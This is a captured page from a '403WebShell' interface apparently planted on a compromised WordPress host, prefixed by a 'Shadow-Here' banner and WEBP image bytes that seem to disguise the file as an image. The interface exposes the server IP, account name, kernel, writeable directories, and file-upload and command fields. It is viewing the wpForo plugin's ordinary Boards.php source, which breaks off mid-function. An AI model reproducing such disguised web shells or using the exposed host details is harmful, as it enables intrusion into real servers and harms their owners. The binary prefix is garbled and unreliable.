....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.29.146.187  /  Your IP : 216.73.216.167
Web Server : LiteSpeed
System : Linux premium302.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : ailwtbdh ( 734)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ailwtbdh/www/wp-content/plugins/wpforo/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ailwtbdh/www/wp-content/plugins/wpforo/classes/Boards.php
<?php

namespace wpforo\classes;

use stdClass;
use wpforo\admin\listtables\Boards as BoardsListTable;

// Exit if accessed directly
if( ! defined( 'ABSPATH' ) ) exit;

class Boards {
	public  $default;
	private $board;
	public  $list_table;
	public  $route       = 'community';
	public  $full_route  = 'community';
	public  $base_routes = [];
	public  $routes      = [];
	public  $is_inited   = [];
	
	public function __construct() {
		$this->init_defaults();
		$this->reset_current();
		$this->init_routes();
		$this->init_hooks();
		if( is_admin() ) add_action( 'wpforo_after_init', [ $this, 'init_list_table' ] );
	}
	
	public function init_hooks() {
		add_action( 'wpforo_after_add_board', function( $board ) {
			$this->after_save_board( $board['boardid'] );
		} );
		add_action( 'wpforo_after_edit_board', function( $boardid ) {
			$this->after_save_board( $boardid );
		} );
		add_filter( 'wpforo_settings_init_core_info', function( $settings_info ) {
			return array_filter( $settings_info, function( $v, $k ) {
				return $v['base'] || $this->is_module_enabled( $k );
			},                   ARRAY_FILTER_USE_BOTH );
		} );
		add_filter( 'wpforo_settings_init_addons_info', function( $settings_info ) {
			return array_filter( $settings_info, function( $v, $k ) {
				return $v['base'] || $this->is_module_enabled( $k );
			},                   ARRAY_FILTER_USE_BOTH );
		} );
	}
	
	public function init_list_table() {
		if( wpfval( $_GET, 'page' ) === 'wpforo-boards' ) {
			$this->list_table = new BoardsListTable();
			$this->list_table->prepare_items();
		}
	}
	
	private function init_defaults() {
		$this->default                  = new stdClass();
		$this->default->board           = [
			'boardid'       => 0,
			'title'         => 'Forums',
			'slug'          => 'community',
			'pageid'        => 0,
			'modules'       => [],
			'locale'        => 'en_US',
			'is_standalone' => false,
			'excld_urls'    => [],
			'status'        => true,
			'settings'      => [
				'title' => 'Forum',
				'desc'  => 'Discussion Board',
			],
		];
		$this->default->board_format    = [
			'boardid'       => '%d',
			'title'         => '%s',
			'slug'          => '%s',
			'pageid'        => '%d',
			'modules'       => '%s',
			'locale'        => '%s',
			'is_standalone' => '%d',
			'excld_urls'    => '%s',
			'status'        => '%d',
			'settings'      => '%s',
		];
		$this->default->sql_select_args = [
			'title_like'      => null,
			'title_notlike'   => null,
			'locale_like'     => null,
			'locale_notlike'  => null,
			'locale_empty'    => null,
			'is_standalone'   => null,
			'status'          => null,
			'slug_include'    => [],
			'slug_exclude'    => [],
			'boardid_include' => [],
			'boardid_exclude' => [],
			'pageid_include'  => [],
			'pageid_exclude'  => [],
			'orderby'         => null,
			'offset'          => null,
			'row_count'       => null,
		];
	}
	
	/**
	 * @param $board
	 *
	 * @return array
	 */
	public function decode( $board ) {
		$board                  = array_merge( $this->default->board, (array) $board );
		$board['boardid']       = intval( $board['boardid'] );
		$board['pageid']        = wpforo_bigintval( $board['pageid'] );
		$board['title']         = trim( strip_tags( (string) $board['title'] ) );
		$board['is_standalone'] = (bool) intval( $board['is_standalone'] );
		$board['status']        = (bool) intval( $board['status'] );
		$board['slug']          = sanitize_title( $board['slug'], 'community' );
		$board['locale']        = trim( strip_tags( (string) $board['locale'] ) );
		$board['excld_urls']    = array_values(
			array_unique(
				array_filter(
					(array) ( wpforo_is_json( $board['excld_urls'] ) ? json_decode( $board['excld_urls'], true ) : ( is_scalar(
						$board['excld_urls']
					) ? array_map(
						'trim',
						wpforo_string2array(
							sanitize_textarea_field(
								$board['excld_urls']
							)
						)
					) : $board['excld_urls'] ) )
				)
			)
		);
		
		// -- START -- decode board settings
		$board['settings']          = (array) ( wpforo_is_json( $board['settings'] ) ? json_decode(
			$board['settings'],
			true
		) : ( is_scalar( $board['settings'] ) ? array_map(
			'trim',
			wpforo_string2array(
				sanitize_textarea_field(
					$board['settings']
				)
			)
		) : $board['settings'] ) );
		$board['settings']          = wpforo_array_args_cast_and_merge( $board['settings'], $this->default->board['settings'] );
		$board['settings']['title'] = trim( strip_tags( (string) $board['settings']['title'] ) );
		$board['settings']['desc']  = trim( strip_tags( (string) $board['settings']['desc'] ) );
		// -- END -- decode board settings
		
		if( ! $board['locale'] ) $board['locale'] = wpforo_get_site_default_locale();
		if( ! $board['pageid'] ) $board['pageid'] = wpforo_get_option( 'wpforo_pageid', 0 );
		
		$all_modules      = array_map( '__return_true', wpforo_get_modules_info() );
		$all_addons       = array_map( '__return_true', wpforo_get_addons_info() );
		$modules          = (array) ( ( wpforo_is_json( $board['modules'] ) ) ? json_decode(
			$board['modules'],
			true
		) : $board['modules'] );
		$modules          = array_merge( $all_modules, $all_addons, $modules );
		$board['modules'] = array_map( function( $a ) { return (bool) intval( $a ); }, $modules );
		
		return $board;
	}
	
	/**
	 * @param $board
	 *
	 * @return array
	 */
	private function encode( $board ) {
		$board                  = $this->decode( $board );
		$board['modules']       = wp_json_encode( $board['modules'] );
		$board['excld_urls']    = wp_json_encode( $board['excld_urls'] );
		$board['settings']      = wp_json_encode( $board['settings'] );
		$board['is_standalone'] = intval( $board['is_standalone'] );
		$board['status']        = intval( $board['status'] );
		
		return $board;
	}
	
	/**
	 * @param $board
	 *
	 * @return false|int
	 */
	public function add( $board ) {
		$board = $this->encode( $board );
		unset( $board['boardid'] );
		$board = wpforo_array_ordered_intersect_key( $board, $this->default->board_format );
		if( WPF()->db->insert(
			WPF()->tables->boards,
			$board,
			wpforo_array_ordered_intersect_key( $this->default->board_format, $board )
		) ) {
			flush_rewrite_rules( false );
			nocache_headers();
			
			$board['boardid'] = WPF()->db->insert_id;
			do_action( 'wpforo_after_add_board', $board );
			
			return $board['boardid'];
		}
		
		return false;
	}
	
	/**
	 * @param $fields
	 * @param $boardid
	 *
	 * @return bool
	 */
	public function edit( $fields, $boardid ) {
		$boardid = intval( $boardid );
		$fields  = wpforo_array_ordered_intersect_key( $fields, $this->default->board_format );
		if( false !== WPF()->db->update(
				WPF()->tables->boards,
				$data = wpforo_array_ordered_intersect_key( $this->encode( $fields ), $fields ),
				[ 'boardid' => $boardid ],
				wpforo_array_ordered_intersect_key( $this->default->board_format, $fields ),
				[ '%d' ]
			) ) {
			flush_rewrite_rules( false );
			nocache_headers();
			
			do_action( 'wpforo_after_edit_board', $boardid, $data );
			
			return true;
		}
		
		return false;
	}
	
	/**
	 * @param $boardid
	 *
	 * @return bool
	 */
	public function delete( $boardid ) {
		do_action( 'wpforo_before_delete_board', $boardid );
		
		if( false !== WPF()->db->delete( WPF()->tables->boards, [ 'boardid' => $boardid ], [ '%d' ] ) ) {
			flush_rewrite_rules( false );
			nocache_headers();
			
			do_action( 'wpforo_after_delete_board', $boardid );
			
			return true;
		}
		
		return false;
	}
	
	private function after_save_board( $boardid ) {
		if( $board = $this->_get_board( (int) $boardid ) ) {
			if( $board['status'] && $board['is_standalone'] ) {
				$sql = "UPDATE `" . WPF(
					)->tables->boards . "` SET `is_standalone` = 0 WHERE `is_standalone` = 1 AND `boardid` <> %d";
				WPF()->db->query( WPF()->db->prepare( $sql, $board['boardid'] ) );
			}
		}
	}
	
	private function parse_args( $args ): array {
		$args                    = wpforo_parse_args( $args, $this->default->sql_select_args );
		$args                    = wpforo_array_ordered_intersect_key( $args, $this->default->sql_select_args );
		$args['slug_include']    = wpforo_parse_args( $args['slug_include'] );
		$args['slug_exclude']    = wpforo_parse_args( $args['slug_exclude'] );
		$args['boardid_include'] = wpforo_parse_args( $args['boardid_include'] );
		$args['boardid_exclude'] = wpforo_parse_args( $args['boardid_exclude'] );
		$args['pageid_include']  = wpforo_parse_args( $args['pageid_include'] );
		$args['pageid_exclude']  = wpforo_parse_args( $args['pageid_exclude'] );
		
		return $args;
	}
	
	private function build_sql_select( $args, $select = '' ): string {
		$args = $this->parse_args( $args );
		if( ! $select ) $select = '*';
		
		$wheres = [];
		
		if( ! is_null( $args['title_like'] ) ) $wheres[] = "`title` LIKE '%" . WPF()->db->esc_like( $args['title_like'] ) . "%'";
		if( ! is_null( $args['title_notlike'] ) ) {
			$wheres[] = "`title` NOT LIKE '%" . WPF()->db->esc_like(
					$args['title_notlike']
				) . "%'";
		}
		
		if( ! is_null( $args['locale_like'] ) ) {
			$locale_like = "`locale` LIKE '%" . WPF()->db->esc_like( $args['locale_like'] ) . "%'";
			if( $args['locale_empty'] ) {
				$locale_like = "( `locale` = '' OR `locale` IS NULL OR " . $locale_like . " )";
			}
			$wheres[] = $locale_like;
		}
		if( ! is_null( $args['locale_notlike'] ) ) {
			$locale_notlike = "`locale` NOT LIKE '%" . WPF()->db->esc_like( $args['locale_notlike'] ) . "%'";
			if( ! is_null( $args['locale_empty'] ) ) {
				if( $args['locale_empty'] ) {
					$locale_notlike = "( `locale` = '' OR `locale` IS NULL OR " . $locale_notlike . " )";
				} else {
					$locale_notlike = "( `locale` <> '' AND `locale` IS NOT NULL AND " . $locale_notlike . " )";
				}
			}
			$wheres[] = $locale_notlike;
		}
		if( ! is_null( $args['locale_empty'] ) && is_null( $args['locale_like'] ) && is_null( $args['locale_notlike'] ) ) {
			if( $args['locale_empty'] ) {
				$wheres[] = "( `locale` = '' OR `locale` IS NULL )";
			} else {
				$wheres[] = "( `locale` <> '' AND `locale` IS NOT NULL )";
			}
		}
		
		if( ! is_null( $args['status'] ) ) $wheres[] = "`status` = '" . intval( $args['status'] ) . "'";
		if( ! is_null( $args['is_standalone'] ) ) $wheres[] = "`is_standalone` = '" . intval( $args['is_standalone'] ) . "'";
		
		if( ! empty( $args['slug_include'] ) ) {
			$wheres[] = "`slug` IN('" . implode(
					"','",
					array_map(
						function( $_i ) {
							return esc_sql(
								trim( $_i )
							);
						},
						$args['slug_include']
					)
				) . "')";
		}
		if( ! empty( $args['slug_exclude'] ) ) {
			$wheres[] = "`slug` NOT IN(" . implode(
					"','",
					array_map(
						function( $_i ) {
							return esc_sql(
								trim( $_i )
							);
						},
						$args['slug_exclude']
					)
				) . "')";
		}
		
		if( ! empty( $args['boardid_include'] ) ) {
			$wheres[] = "`boardid` IN(" . implode(
					',',
					array_map(
						'intval',
						$args['boardid_include']
					)
				) . ")";
		}
		if( ! empty( $args['boardid_exclude'] ) ) {
			$wheres[] = "`boardid` NOT IN(" . implode(
					',',
					array_map(
						'intval',
						$args['boardid_exclude']
					)
				) . ")";
		}
		
		if( ! empty( $args['pageid_include'] ) ) {
			$wheres[] = "`pageid` IN(" . implode(
					',',
					array_map(
						'wpforo_bigintval',
						$args['pageid_include']
					)
				) . ")";
		}
		if( ! empty( $args['pageid_exclude'] ) ) {
			$wheres[] = "`pageid` NOT IN(" . implode(
					',',
					array_map(
						'wpforo_bigintval',
						$args['pageid_exclude']
					)
				) . ")";
		}
		
		$wheres = array_filter( $wheres );
		
		$sql = "SELECT $select FROM " . WPF()->tables->boards;
		if( $wheres ) $sql .= " WHERE " . implode( " AND ", $wheres );
		if( $args['orderby'] ) $sql .= " ORDER BY " . $args['orderby'];
		if( $args['row_count'] ) $sql .= " LIMIT " . intval( $args['offset'] ) . "," . intval( $args['row_count'] );
		
		return $sql;
	}
	
	/**
	 * @param array|numeric $args
	 *
	 * @return array
	 */
	public function _get_board( $args ) {
		if( wpforo_is_id( $args ) ) $args = [ 'boardid_include' => (int) $args ];
		if( ! wpfkey( $args, 'orderby' ) ) $args['orderby'] = '`boardid` DESC';
		if( ! wpfkey( $args, 'row_count' ) ) {
			$args['offset']    = 0;
			$args['row_count'] = 1;
		}
		$board = (array) WPF()->db->get_row( $this->build_sql_select( $args ), ARRAY_A );
		if( $board ) $board = $this->decode( $board );
		
		return $board;
	}
	
	/**
	 * @param array|numeric $args
	 *
	 * @return array
	 */
	public function get_board( $args ) {
		return wpforo_ram_get( [ $this, '_get_board' ], $args );
	}
	
	/**
	 * @param array $args
	 *
	 * @return array
	 */
	public function _get_boards( $args = [] ) {
		return array_map( [ $this, 'decode' ], (array) WPF()->db->get_results( $this->build_sql_select( $args ), ARRAY_A ) );
	}
	
	public function get_boards( $args = [] ) {
		return wpforo_ram_get( [ $this, '_get_boards' ], $args );
	}
	
	/**
	 * @param array $args
	 *
	 * @return int
	 */
	public function get_count( $args = [] ) {
		return (int) WPF()->db->get_var( $this->build_sql_select( $args, 'COUNT(*)' ) );
	}
	
	public function reset_current() {
		if( WPF()->is_installed() && ( $board0 = $this->get_board( 0 ) ) ) {
			$this->board = $board0;
		} else {
			$this->board = $this->default->board;
		}
	}
	
	private function init_routes() {
		$this->base_routes = array_unique( array_merge( $this->base_routes, array_keys( WPF()->tpl->base_templates ) ) );
		$this->base_routes = array_map( 'wpforo_settings_get_slug', $this->base_routes );
		$slugs             = [];
		if( WPF()->is_installed() ) {
			$boards = $this->get_boards( [ 'status' => true, 'orderby' => '`boardid` ASC' ] );
			foreach( $boards as $board ) $slugs[] = $board['slug'];
			if( $slug0 = wpfval( $slugs, 0 ) ) $this->route = $this->full_route = $slug0;
		}
		$this->routes = array_unique( array_merge( $this->base_routes, $slugs ) );
		if( ! $this->routes ) $this->routes = (array) $this->route;
		$this->routes = preg_replace( '#^/?index\.php/?#iu', '', $this->routes );
		$this->routes = array_map( function( $route ) { return trim( (string) $route, '/' ); }, $this->routes );
	}
	
	/**
	 * @param array $args
	 */
	public function init_current( $args = [] ) {
		if( ! WPF()->is_installed() ) return;
		$get = wp_unslash( array_merge( WPF()->GET, $_GET ) );
		if( is_numeric( $args ) ) $args = [ 'boardid' => intval( $args ) ];
		$board = [];
		if( is_null( $boardid = wpfval( $args, 'boardid' ) ) && is_null( $boardid = wpfval( $get, 'boardid' ) ) && is_null(
				$boardid = wpfval( $get, 'wpforo_boardid' )
			) ) {
			if( wpforo_is_admin() ) {
				if( preg_match( '#^wpforo-(?:(\d*)-)?#iu', (string) wpfval( $get, 'page' ), $match ) ) {
					if( ! $boardid = (int) wpfval( $get, 'boardid' ) ) {
						$boardid = (int) wpfval( $match, 1 );
					}
				}
			} else {
				if( $slug = (string) wpfval( $args, 'slug' ) ) {
					$args  = [
						'slug_include' => $slug,
						'locale_like'  => ( $locale = (string) wpfval(
							$args,
							'locale'
						) ) ? $locale : wpforo_get_site_default_locale(),
						'locale_empty' => true,
						'status'       => true,
						'orderby'      => "( `locale` = '' OR `locale` IS NULL ) ASC, `boardid` DESC",
					];
					$board = $this->get_board( $args );
				}
				if( ! $board && $pageid = get_the_ID() ) {
					$args = [
						'pageid_include' => $pageid,
						'status'         => true,
						'orderby'        => "( `locale` = '' OR `locale` IS NULL ) ASC, `boardid` DESC",
					];
					if( $slug = wpforo_get_url_route() ) $args['slug_include'] = $slug;
					$board = $this->get_board( $args );
				}
				if( ! $board && $slug = wpforo_get_url_route() ) {
					$args  = [
						'slug_include' => $slug,
						'locale_like'  => ( $locale = (string) wpfval(
							$args,
							'locale'
						) ) ? $locale : wpforo_get_site_default_locale(),
						'locale_empty' => true,
						'status'       => true,
